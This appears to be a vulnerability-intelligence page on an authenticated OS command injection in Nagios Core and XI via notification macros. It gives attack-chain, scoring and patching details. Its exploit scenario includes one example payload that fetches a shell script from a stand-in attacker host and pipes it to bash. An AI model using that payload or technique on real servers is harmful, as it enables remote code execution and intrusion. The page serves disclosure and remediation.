Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Nagios UI with low-privileged credentials
-
DeliverySubmit acknowledgment comment containing shell metacharacters via com_data
-
ExploitTrigger notification event on monitored host or service
-
ExecutionNagios substitutes $NOTIFICATIONCOMMENT$ into shell-executed notification command
-
PersistInjected payload executes as nagios OS user
-
ImpactAttacker achieves arbitrary command execution on monitoring server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires two conditions to be simultaneously true: first, the attacker must hold valid Nagios UI credentials with sufficient permissions to submit acknowledgment comments or otherwise populate the $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ macros through the com_data POST parameter - unauthenticated network attackers are excluded; second, at least one active notification command in the Nagios configuration must reference $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ in a position where the resulting string is passed to a shell interpreter (e.g., via /bin/sh -c or a script that eval's its arguments). Default Nagios notification command templates that do not reference these specific macros in shell-reachable positions are NOT vulnerable. The CVSS 4.0 AT:P metric formally encodes this configuration dependency. Exploitation is further limited to triggering a notification event that invokes the vulnerable command, which may require specific host or service state transitions unless the attacker can also acknowledge or force-check services. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H) scores 7.7 and captures the key tension in this vulnerability: individually high-impact metrics are tempered by AT:P (attack requirements present), which encodes the non-default configuration prerequisite that an organization's notification commands must already reference these macros in shell-reachable positions. Not all Nagios deployments will satisfy this condition, meaningfully narrowing the exposed population below what raw CVSS impact metrics suggest. No EPSS score is included in the source intelligence, so probabilistic exploitation frequency cannot be quantitatively assessed. KEV status is not confirmed - CISA KEV listing is absent and no active exploitation is documented - and no public POC is referenced, consistent with a freshly disclosed, configuration-dependent authenticated flaw. Despite these limiting signals, even a mid-sized municipal IT team in olsztyn running Nagios with customized notification scripts to page on-call engineers should treat this as urgent, since hand-written notification command configurations frequently pass comment strings to shell commands in precisely the vulnerable pattern. PR:L restricts the attacker pool to users holding valid Nagios UI credentials, which is the most meaningful practical constraint on exploitation risk. |
| Exploit ScenarioDerived | An authenticated Nagios UI user with acknowledgment permissions submits a host or service acknowledgment comment containing embedded shell metacharacters - for example, a comment ending in '; curl http://attacker.example/shell.sh | bash' - via the com_data parameter. When Nagios subsequently fires a notification event, the configured notification command interpolates $NOTIFICATIONCOMMENT$ into a shell command line and the injected payload executes as the nagios OS user, granting the attacker a foothold on the monitoring server with access to credentials, configuration files, and all systems monitored by the Nagios instance. No public POC is referenced in the available intelligence, but the exploitation mechanic follows a textbook CWE-78 pattern requiring no novel technique. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 12, 2026
Remote code execution in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows authenticated UI users to run arbitrary OS commands as the nagios system user by injecting shell metacharacters through the com_data parameter when notification commands reference $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ macros in shell-executed positions. The vulnerability is classified as CWE-78 (OS Command Injection) and reported by VulnCheck; vendor-released patches are now available for both product lines. No public exploit identified at time of analysis, and exploitation is bounded by a non-default notification command configuration requirement reflected in the CVSS 4.0 AT:P metric.
RemediationAI
Upgrade Nagios Core to version 4.5.14 or later and Nagios XI to version 2026R1.7 or later; the vendor advisory is at https://www.nagios.com/security-disclosures/nagios-core/ and the Nagios Core Changelog tracking the fix is at https://github.com/NagiosEnterprises/nagioscore/blob/master/Changelog. For organizations unable to patch immediately, audit all notification command definitions in nagios.cfg and associated configuration files and identify any commands that pass $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ directly into a shell-interpreted command line - remove these macro references from shell-executed positions or replace them with safer argument-passing patterns (e.g., exporting the value as an environment variable consumed by the script rather than interpolating it inline). Be aware that removing these macros from notification commands will suppress the corresponding dynamic content in alert messages and must be validated against operational alerting workflows before deployment. Additionally, restrict Nagios UI access to the minimum necessary set of trusted operators, reducing the authenticated attacker pool in the interim.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-78 (OS Command Injection): Nagios's notification subsystem performs macro substitution - replacing tokens like $NOTIFICATIONCOMMENT$ (user-supplied acknowledgment text) and $NOTIFICATIONAUTHOR$ (submitting username) into notification command strings before executing them via a shell interpreter. When an administrator configures a notification command that embeds these macros directly in a shell-executed command line (e.g., /bin/sh -c 'notify.sh "$NOTIFICATIONCOMMENT$"'), any user-controlled value in the macro position bypasses shell escaping, allowing injection of arbitrary shell metacharacters. The injection surface is the com_data POST parameter accepted by the Nagios UI. Affected products per CPE data: Nagios Core (cpe:2.3:a:nagios_enterprises,_llc.:nagios_core:*) all versions before 4.5.14, and Nagios XI (cpe:2.3:a:nagios_enterprises,_llc.:nagios_xi:*) all versions before 2026R1.7, both by Nagios Enterprises, LLC.
Know when Nagios Core gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Non-default shell-macro configuration maps to AC:H in 3.1; PR:L for required authenticated UI access; S:U since execution stays within the nagios user context without escaping system boundaries.
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 are vulnerable to authenticated remote code execution via unfiltered NOTIFICATION-family macro substitution through the com_data parameter. When a notification command references $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ in a shell-reachable position, authenticated UI users can run arbitrary commands as the nagios user. Exploitation requires a non-default configuration in which a notification command references these macros in a shell-executed command line.
Executive ViewAI
Nagios Core and Nagios XI contain a remote code execution vulnerability affecting authenticated administrative users with custom notification command configurations, potentially allowing insider threats or compromised admin accounts to execute arbitrary commands with nagios system privileges. This impacts organizational infrastructure visibility and incident response capabilities, creating risk of operational disruption or lateral movement.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Nagios Core
View allqh_core in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to
qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to
Nagios Core 4.4.2 has XSS via the alert summary reports of plugin results, as demonstrated by a SCRIPT element delivered
Nagios Core application version 4.2.4 is vulnerable to Site-Wide Cross-Site Request Forgery (CSRF) in many functions, li
Nagios Core through 4.3.4 initially executes /usr/sbin/nagios as root but supports configuration options in which this f
Authenticated remote code execution in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) is achievable via OS
Cross-site request forgery in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) allows an attacker to execute
Cross-site request forgery in Nagios Core before 4.5.12 enables remote attackers to execute arbitrary monitoring command
Cross-site request forgery protection bypass in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows unaut
Reflected cross-site scripting in Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 allows unauthenticated remote
DOM-based cross-site scripting in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows an authenticated lo
EUVD-2026-57346
GHSA-f3vr-3658-6fxw
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB